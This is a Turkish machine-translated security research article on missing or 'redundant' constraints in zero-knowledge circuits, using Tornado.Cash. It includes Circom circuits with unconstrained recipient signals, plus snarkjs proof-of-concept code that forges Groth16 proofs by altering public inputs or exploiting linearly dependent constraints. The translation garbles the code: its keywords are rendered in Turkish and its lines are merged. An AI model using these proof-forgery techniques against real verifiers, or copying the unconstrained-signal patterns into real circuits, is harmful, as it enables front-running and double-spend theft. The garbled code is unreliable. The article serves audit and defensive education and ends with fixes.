ZKP proje taraflarının mutlaka okuması gereken bir kitap: Devre Denetimi—Gereksiz kısıtlamalar gerçekten gereksiz mi?

Bu makalenin yazarı: Beosin güvenlik araştırma uzmanları Saya ve Bryce

1. Giriş

ZKP (Sıfır Bilgi Kanıtı) projesi temel olarak iki bölümden oluşur: zincir dışı devreler ve zincir içi sözleşmeler.Devre bölümü, iş mantığının kısıtlama soyutlamasını ve karmaşık temel kriptografi bilgisini içerir, dolayısıyla bu bölüm proje tarafı için zordur. ve aynı zamanda güvenlik personelinin denetlenmesindeki zorluklardır **Aşağıda proje tarafları tarafından kolayca göz ardı edilen bir güvenlik durumudur - "gereksiz kısıtlamalar". Amaç, proje taraflarına ve kullanıcılara ilgili güvenlik risklerine dikkat etmelerini hatırlatmaktır. **

2. Gereksiz kısıtlamalar silinebilir mi

ZKP projelerini denetlerken, genellikle aşağıdaki garip kısıtlamaları göreceksiniz, ancak birçok proje tarafı aslında bunun özel anlamını anlamıyor.Devrenin yeniden kullanımının zorluğunu azaltmak ve zincir dışı bilgi işlem tüketiminden tasarruf etmek için bazı kısıtlamalar silinebilir, dolayısıyla güvenlik sorunlarına neden oluyor:

Yukarıdaki kodu silmeden önce ve sonra oluşturulan kısıtlamaların sayısını karşılaştırdık ve gerçek bir projede yukarıdaki kısıtlamaların varlığının veya yokluğunun toplam proje kısıtlamaları sayısı üzerinde çok az etkisi olduğunu gördük çünkü bunlar proje tarafının gereksinimleri tarafından kolaylıkla göz ardı edilebilir. otomatik optimizasyon.

Yukarıdaki devrenin asıl amacı kanıta sadece bir parça veri eklemektir.Tornado.Cash'i örnek alırsak, ek veriler şunları içerir: alıcı adresi, aktarıcı adresi, işlem ücreti vb., çünkü bu sinyaller etkilemez Sonraki devrenin gerçek hesaplaması, diğer bazı proje tarafları arasında karışıklığa neden olabilir, dolayısıyla onları devreden çıkarabilir, bazı kullanıcıların işlemlerinin çalınmasına neden olabilir.

Aşağıda bu saldırıyı tanıtmak için basit özel işlem projesi Tornado.Cash'i örnek alacağız.Bu makale, devredeki ek bilgilerin ilgili sinyallerini ve kısıtlamalarını siler ve aşağıdaki gibidir:

"../../../../node_modules/circomlib/circuits/bitify.circom" dahil edin; include "../../../../node_modules/circomlib/circuits/pedersen.circom";include "merkleTree.circom";template CommitmentHasher() { sinyal girişi nullifier; sinyal girişi sırrı; sinyal çıkışı taahhüdü; // sinyal çıkışı nullifierHash; bileşen taahhüdüHasher = Pedersen(496); // bileşen nullifierHasher = Pedersen(248); bileşen nullifierBits = Num2Bits(248); bileşen secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== gizli; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; taahhütHasher.in [i] <== nullifierBits.out [i] ; taahhütHasher.in[i + 248] <== secretBits.out [i] ; } taahhüt <== taahhütHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// Belirtilen sırra ve geçersizleştiriciye karşılık gelen taahhüdün, mevduat şablonu Withdraw(levels) { signal input root; merkle ağacına dahil edildiğini doğrular; // sinyal girişi nullifierHash; sinyal çıkışı taahhüdü; // sinyal girişi alıcısı; // hiçbir hesaplamada yer almıyor // sinyal giriş aktarıcısı; // herhangi bir hesaplamada yer almamak // sinyal giriş ücreti; // hiçbir hesaplamada yer almamak // sinyal girişi iadesi; // herhangi bir hesaplamada sinyal girişi nullifier'ında yer almıyor; sinyal girişi sırrı; // sinyal giriş yoluElemanları [levels] ; // sinyal giriş yolu İndeksleri [levels] ; bileşen karma = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== gizli; taahhüt <== hasher.taahhüt; // hasher.nullifierHash === nullifierHash; // bileşen ağacı = MerkleTreeChecker(seviyeler); // ağaç.leaf <== hasher.taahhüt; // ağaç.kök <== kök; // for ( i = 0; i < düzeyler; i++) { // Tree.pathElements [i] <== yolElemanları [i] ; //tree.pathIndices [i] <== yol Endeksleri [i] ; // } // Alıcıya veya ücrete müdahale edilmesinin gizli kanıtı geçersiz kılacağından emin olmak için gizli sinyaller ekleyin // Büyük olasılıkla gerekli değildir, ancak güvenli tarafta kalmak daha iyidir ve yalnızca 2 kısıtlama gerekir // Kareler optimize edicinin bu kısıtlamaları kaldırmasını önlemek için kullanılır // signal alıcıSquare; // sinyal ücretiKare; // sinyal aktarıcıKare; // sinyal iadesiKare; // alıcıSquare <== alıcı * alıcı; // ücretSquare <== ücret * ücret; // aktarıcıSquare <== aktarıcı * aktarıcı; // returnSquare <== iade * geri ödeme;}bileşen main = Withdraw(20);

Anlamayı kolaylaştırmak için bu makale, devredeki Merkle Ağacı ve nullifierHash'in doğrulanmasıyla ilgili kısımları siler ve ayrıca alacaklı adresini ve diğer bilgileri de ekler. Bu devre tarafından oluşturulan zincir üstü sözleşmede, bu makale aynı anda doğrulama için iki farklı adres kullanıyor.Her iki farklı adresin de doğrulamayı geçebildiği bulunabilir:

Ancak devre kısıtlamalarına aşağıdaki kod eklendiğinde yalnızca devrede ayarlanan alıcı adresinin doğrulamayı geçebildiği görülebilir:

sinyal girişi alıcısı; // herhangi bir hesaplama sinyali giriş rölesinde yer almamak; // herhangi bir hesaplama sinyali giriş ücretine katılmamak; // herhangi bir hesaplama sinyali girişi iadesine katılmamak; // herhangi bir hesaplamada yer almıyorsinyal alıcıKare;sinyal ücretiKare;sinyal aktarıcıKare;sinyal geri ödemeKare;alıcıKare <== alıcı * alıcı;alıcıKare <== alıcı * alıcı;feeSquare <== ücret * ücret;relayerSquare <== aktarıcı * aktarıcı ;refundSquare <== iade * iade;

Bu nedenle Proof alıcıya bağlı olmadığında alıcının adresinin istenildiği zaman değiştirilebileceği ve zk kanıtının doğrulanabileceği bulunabilir.Daha sonra kullanıcı proje havuzundan para çekmek istediğinde, alıcı tarafından soyulabilir. MEV. Aşağıda, gizlilik ticareti yapan bir DApp'e yönelik MEV önden çalışan saldırının bir örneği yer almaktadır:

3. Gereksiz kısıtlamaları yazmanın yanlış yolu

Ek olarak, devrede yazmada daha ciddi çift harcama saldırılarına yol açabilecek iki yaygın hata vardır: bunlardan biri, giriş sinyalinin devrede ayarlanması ancak sinyalin kısıtlanmamasıdır, diğeri ise devrede giriş sinyalinin kısıtlanmamış olmasıdır. Sinyal üzerindeki çoklu kısıtlamaların arasında doğrusal bir bağımlılık vardır. Aşağıdaki şekil Groth16 algoritmasının ortak Kanıtlama ve Doğrulama hesaplama süreçlerini göstermektedir:

Kanıtlayıcı kanıt üretir Kanıt π = ( [A] 1, [C] 1, [B] 2):

Doğrulayıcı π[A, B, C] kanıtını aldıktan sonra aşağıdaki doğrulama denklemini hesaplar: Sağlanırsa doğrulama geçer, aksi halde doğrulama başarısız olur:

3.1 Sinyal kısıtlamalara katılmaz

Belirli bir genel sinyal Zi'nin devrede herhangi bir kısıtlaması yoksa, j kısıtlaması için aşağıdaki formülün değeri her zaman 0'dır (burada rj, Doğrulayıcının Kanıtlayıcının hesaplamasına ihtiyaç duyduğu rastgele meydan okuma değeridir):

Qh5M1gWNsintP7DUl6P0cDEHIdcnSchiB4YM50XY.png

Aynı zamanda bu, Zi için herhangi bir x'in aşağıdaki formüle sahip olduğu anlamına gelir:

Bu nedenle, doğrulama denkleminde x sinyali için aşağıdaki ifade vardır:

Doğrulama denklemi aşağıdaki gibi olduğundan:

Zi hangi değeri alırsa alsın bu hesaplamanın sonucunun her zaman 0 olduğu bulunabilir.

Bu makale Tornado.Cash devresini aşağıdaki gibi değiştirmektedir.Devrenin 1 genel giriş sinyali alıcısına ve 3 özel kök, nullifier ve gizli sinyale sahip olduğunu görebilirsiniz.Alıcının devrede herhangi bir kısıtlaması yoktur:

şablon Geri Çekme(seviyeler) { sinyal giriş kökü; sinyal çıkışı taahhüdü; sinyal girişi alıcısı; // herhangi bir hesaplamada yer almayan sinyal girişi geçersizleştiricisi; sinyal girişi sırrı; bileşen karma = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== gizli; taahhüt <== hasher.commitment;}bileşen main {public [recipient] }= Çekme(20);

Bu makale en son snarkjs kütüphanesi 0.7.0 sürümünde test edilecek ve devrede kısıtlama sinyali olmadığında çift harcama saldırısı etkisini göstermek için örtülü kısıtlama kodu silinecektir.Çekirdek exp kodu aşağıdaki gibidir:

async function groth16_exp() { let inputA = "7"; girişB = "11" olsun; girişC = "9" olsun; inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC" olsun; yeniZKey'i bekliyor( çekme2.r1cs, güçlerOfTau28_hez_final_14.ptau, geri çekme2_0000.zkey, ) bekliyor işaretini( geri çekme2_0000.zkey, geri çekme2_final.zkey, "Final Beacon", "0102030405060708090a0b0c0d0e0f1011121314151 61718191a1b1c1d1e1f", 10, ) const doğrulamaKey = ihracatVerifikasyonKeyini bekliyor(withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") let { prova, publicSignals } = wait groth16FullProve({ root: inputA, nullifier: inputB, secret: inputC, alıcı: inputD }, "withdraw2 .wasm", "withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(proof), "utf-8 ") doğrula(publicSignals, kanıt); genel sinyaller [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") doğrulama(publicSignals, kanıt);}

Her iki oluşturulan Kanıtın da doğrulamayı geçtiğini görebilirsiniz:

3.2 Doğrusal bağımlılık kısıtlamaları

gYomF7W3WdcnrQ3TiikO2QxX1fQgZ1mjl9o9erzo.png

şablon Geri Çekme(seviyeler) { sinyal giriş kökü; // sinyal girişi nullifierHash; sinyal çıkışı taahhüdü; sinyal girişi alıcısı; // herhangi bir hesaplamada sinyal giriş aktarıcısında yer almıyoruz; // herhangi bir hesaplama sinyali giriş ücretine katılmamak; // hiçbir hesaplamada yer almamak // sinyal girişi iadesi; // herhangi bir hesaplamada yer almayan sinyal girişi geçersizleştiricisi; sinyal girişi sırrı; // sinyal giriş yoluElemanları [levels] ; // sinyal giriş yolu İndeksleri [levels] ; bileşen karma = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== gizli; taahhüt <== hasher.taahhüt; sinyal girişi Kare; // alıcıSquare <== alıcı * alıcı; // ücretSquare <== ücret * ücret; // aktarıcıSquare <== aktarıcı * aktarıcı; // returnSquare <== iade * geri ödeme; 35 * Kare === (2alıcı + 2aktarma + ücret + 2) * (aktarma + 4);}bileşen main {public [alıcı,Kare]}= Withdraw(20);

Yukarıdaki devre çift harcama saldırısına neden olabilir. Spesifik exp çekirdek kodu aşağıdaki gibidir:

const buildMalleabeC = async (orignal_proof_c, publicinput_index, orginal_pub_input, new_public_input, l) => { const c = unstringifyBigInts(orignal_proof_c) const { fd: fdZKey, bölümler: bölümlerZKey } = waitBinFile("tornadocash_final.zkey", "zkey", 2 bekliyor , 1 << 25, 1 << 23) const buffBasesC = wait readSection(fdZKey,sectionZKey, 8) fdZKey.close() const curve = wait buildBn128(); const Fr = curve.Fr; sabit G1 = eğri.G1; const new_pi = new Uint8Array(Fr.n8); Scalar.toRprLE(yeni_pi, 0, yeni_genel_giriş, Fr.n8); const Matching_pub = new Uint8Array(Fr.n8); Scalar.toRprLE(eşleşen_pub, 0, orijinal_pub_input, Fr.n8); const sGIn = curve.G1.F.n8 * 2 const Matching_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const lineer_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul( doğrusal_faktör, Fr.sub(eşleşen_pub, yeni_pi)); const p = wait curve.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const malleable_c = G1.toAffine(G1.add(affine_c, p)) return stringifyBigInts(G1.toObject(malleable_c))}

Kütüphane kodunun bir kısmını değiştirdikten sonra onu snarkjs 0.7.0 sürümünde test ettik.Sonuçlar, aşağıdaki sahte kanıtların her ikisinin de doğrulamayı geçebileceğini gösterdi:

  • yayıncılık1 + kanıt1

  • yayıncılık2 + kanıt2

4 Düzeltme

4.1 zk kitaplık kodu

Şu anda, snarkjs kütüphanesi gibi bazı popüler zk kütüphaneleri, en basit kısıtlama gibi dolaylı olarak devreye bazı kısıtlamalar ekleyecektir:

Yukarıdaki formül matematiksel olarak her zaman doğrudur, dolayısıyla gerçek sinyal değeri ne olursa olsun ve herhangi bir kısıtlamayı karşılarsa, kurulum sırasında kütüphane kodu tarafından devreye örtülü ve düzgün bir şekilde eklenebilir.Ayrıca, ilk bölümdeki kare kısıtlamalar şunlardır: Devrede kullanılır.Daha güvenli bir yaklaşımdır. Örneğin snarkjs, kurulum sırasında zkey oluştururken örtülü olarak aşağıdaki kısıtlamaları ekler:

4.2 Devre

Proje tarafı devreyi tasarladığında, kullanılan üçüncü taraf zk kütüphanesi kurulum veya derleme sırasında ek kısıtlamalar ekleyemeyeceğinden**, proje tarafının devre tasarımı düzeyinde kısıtlamaların bütünlüğünü sağlamaya çalışmasını ve sıkı bir şekilde kontrol etmesini öneririz. Devredeki kısıtlamalar Güvenliği sağlamak için tüm sinyaller, daha önce gösterilen kare kısıtlaması gibi yasal olarak sınırlandırılmıştır. **

View Original
This page may contain third-party content, which is provided for information purposes only (not representations/warranties) and should not be considered as an endorsement of its views by Gate, nor as financial or professional advice. See Disclaimer for details.
  • Reward
  • Comment
  • Share
Comment
0/400
No comments
Trade Crypto Anywhere Anytime
qrCode
Scan to download Gate app
Community
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Bahasa Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)